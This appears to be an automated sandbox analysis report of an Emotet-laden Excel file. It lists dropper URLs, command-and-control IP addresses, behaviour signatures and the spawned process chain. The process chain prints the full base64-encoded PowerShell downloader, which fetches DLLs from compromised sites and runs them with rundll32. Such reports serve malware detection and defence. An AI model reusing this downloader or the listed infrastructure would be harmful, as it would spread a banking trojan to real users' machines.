Analysis
- max time kernel
118s - max time network
157s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
25/01/2022, 15:56
General
- Target tmp43j0xlq1.xls
- Size 144KB
- Sample220125-tdb3tsaeh6
- SHA256 a43d3e16b6c869204c93e1f2ab8836bc6af3f7eb0ee7218af6dff1e835b6b161
Malware Config
Extracted
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ps1
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exe.dropper
http://philiatek.com/wp-content/i6xZ9PESl4QAWL9O/
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exe.dropper
http://diademfinancial.com/oxly7sr/IfH/
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exe.dropper
http://khustle.com/cgi-bin/jz381CkM5gYgMH/
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exe.dropper
http://newalthyplane.com.althyplane.com/dmcbg7s/X4bbl6/
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exe.dropper
http://nostringsattachedrelationship.net/wp-content/xDuD8qnc/
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exe.dropper
https://acorngift.com/wp-content/YhNgI/
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exe.dropper
http://russian-coins.info/libraries/8oDzr/
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exe.dropper
http://daisy.sukoburu-secure.com/assets/qrwbWpSM/
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exe.dropper
http://ppdbsmp.insanrabbany.sch.id/assets/eofgaHjWVR9o/
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exe.dropper
http://harmonylifecare.vogomo.com/m113gvw/bsKtRYvTM/
Extracted
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emotet
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Epoch5
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45.138.98.34:80
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69.16.218.101:8080
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51.210.242.234:8080
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185.148.168.220:8080
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142.4.219.173:8080
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54.38.242.185:443
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191.252.103.16:80
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104.131.62.48:8080
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62.171.178.147:8080
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217.182.143.207:443
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168.197.250.14:80
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37.44.244.177:8080
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66.42.57.149:443
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210.57.209.142:8080
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159.69.237.188:443
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116.124.128.206:8080
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128.199.192.135:8080
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195.154.146.35:443
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185.148.168.15:8080
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195.77.239.39:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp43j0xlq1.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\tydkjxjd.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcABoAGkAbABpAGEAdABlAGsALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADYAeABaADkAUABFAFMAbAA0AFEAQQBXAEwAOQBPAC8ALABoAHQAdABwADoALwAvAGQAaQBhAGQAZQBtAGYAaQBuAGEAbgBjAGkAYQBsAC4AYwBvAG0ALwBvAHgAbAB5ADcAcwByAC8ASQBmAEgALwAsAGgAdAB0AHAAOgAvAC8AawBoAHUAcwB0AGwAZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGoAegAzADgAMQBDAGsATQA1AGcAWQBnAE0ASAAvACwAaAB0AHQAcAA6AC8ALwBuAGUAdwBhAGwAdABoAHkAcABsAGEAbgBlAC4AYwBvAG0ALgBhAGwAdABoAHkAcABsAGEAbgBlAC4AYwBvAG0ALwBkAG0AYwBiAGcANwBzAC8AWAA0AGIAYgBsADYALwAsAGgAdAB0AHAAOgAvAC8AbgBvAHMAdAByAGkAbgBnAHMAYQB0AHQAYQBjAGgAZQBkAHIAZQBsAGEAdABpAG8AbgBzAGgAaQBwAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeABEAHUARAA4AHEAbgBjAC8ALABoAHQAdABwAHMAOgAvAC8AYQBjAG8AcgBuAGcAaQBmAHQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBZAGgATgBnAEkALwAsAGgAdAB0AHAAOgAvAC8AcgB1AHMAcwBpAGEAbgAtAGMAbwBpAG4AcwAuAGkAbgBmAG8ALwBsAGkAYgByAGEAcgBpAGUAcwAvADgAbwBEAHoAcgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAaQBzAHkALgBzAHUAawBvAGIAdQByAHUALQBzAGUAYwB1AHIAZQAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBxAHIAdwBiAFcAcABTAE0ALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AcAAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBhAHMAcwBlAHQAcwAvAGUAbwBmAGcAYQBIAGoAVwBWAFIAOQBvAC8ALABoAHQAdABwADoALwAvAGgAYQByAG0AbwBuAHkAbABpAGYAZQBjAGEAcgBlAC4AdgBvAGcAbwBtAG8ALgBjAG8AbQAvAG0AMQAxADMAZwB2AHcALwBiAHMASwB0AFIAWQB2AFQATQAvACwAaAB0AHQAcABzADoALwAvAGMAYwBlAC4AZQBkAHUALgBpAG4ALwBhAGQAbQBpAG4ALwBaADYAUgBWADQANwBiAE0AQgByAC8ALABoAHQAdABwADoALwAvAG0AaQBnAHIAYQBuAHQAZQB4AGwAYQB0AGUAeAAuAGMAbwBtAC4AbQB4AC8AYwBnAGkALQBiAGkAbgAvADIAQgBBAGIALwAsAGgAdAB0AHAAOgAvAC8AbwByAGkAZQBuAHQAYgB1AGYAZgBlAHQALgBlAHUALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AOQBXAFoALwAsAGgAdAB0AHAAOgAvAC8AbABlAG4AYwBlAG4AdAByAC4AcgB1AC8AYwBzAHMALwBUAFEARAB5ADkANQBJAGsAWQBCAHoARwBsAHkAUwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAIABmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\windows\syswow64\rundll32.exe"C:\windows\syswow64\rundll32.exe" c:\programdata\905475728.dll,f4863187604⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "c:\programdata\905475728.dll",DllRegisterServer5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vvsgdktgofjfyl\rxmfvriobjnw.udo",iggnrlDNKfhq6⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vvsgdktgofjfyl\rxmfvriobjnw.udo",DllRegisterServer7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/504-293-0x000001A676890000-0x000001A6768B2000-memory.dmp
memory/504-305-0x000001A676F46000-0x000001A676F48000-memory.dmp
memory/504-298-0x000001A676F50000-0x000001A676FC6000-memory.dmp
memory/504-297-0x000001A676F43000-0x000001A676F45000-memory.dmp
memory/504-296-0x000001A676F40000-0x000001A676F42000-memory.dmp
memory/760-350-0x0000000005580000-0x00000000055A8000-memory.dmp
memory/760-339-0x0000000004BA0000-0x0000000004BC8000-memory.dmp
memory/760-360-0x0000000005860000-0x0000000005888000-memory.dmp
memory/760-358-0x00000000056F0000-0x0000000005718000-memory.dmp
memory/760-356-0x0000000005800000-0x0000000005828000-memory.dmp
memory/760-354-0x0000000005770000-0x0000000005798000-memory.dmp
memory/760-352-0x0000000005680000-0x00000000056A8000-memory.dmp
memory/760-348-0x00000000054A0000-0x00000000054C8000-memory.dmp
memory/760-346-0x00000000053C0000-0x00000000053E8000-memory.dmp
memory/760-344-0x00000000052E0000-0x0000000005308000-memory.dmp
memory/760-342-0x00000000051F0000-0x0000000005218000-memory.dmp
memory/2264-119-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
memory/2264-121-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
memory/2264-396-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
memory/2264-395-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
memory/2264-394-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
memory/2264-393-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
memory/2264-132-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp
memory/2264-131-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp
memory/2264-266-0x000002DAF2DD0000-0x000002DAF2DD4000-memory.dmp
memory/2264-130-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
memory/2264-118-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
memory/2264-120-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
memory/2368-320-0x00000000008D0000-0x00000000008F8000-memory.dmp
memory/2852-332-0x0000000004BD0000-0x0000000004BF8000-memory.dmp
memory/2852-325-0x0000000001210000-0x0000000001238000-memory.dmp
memory/2852-327-0x0000000001320000-0x0000000001348000-memory.dmp
memory/2852-330-0x0000000004B70000-0x0000000004B98000-memory.dmp
memory/2852-336-0x0000000004DE0000-0x0000000004E08000-memory.dmp
memory/2852-334-0x0000000004C30000-0x0000000004C58000-memory.dmp
memory/4072-337-0x0000000000160000-0x0000000000188000-memory.dmp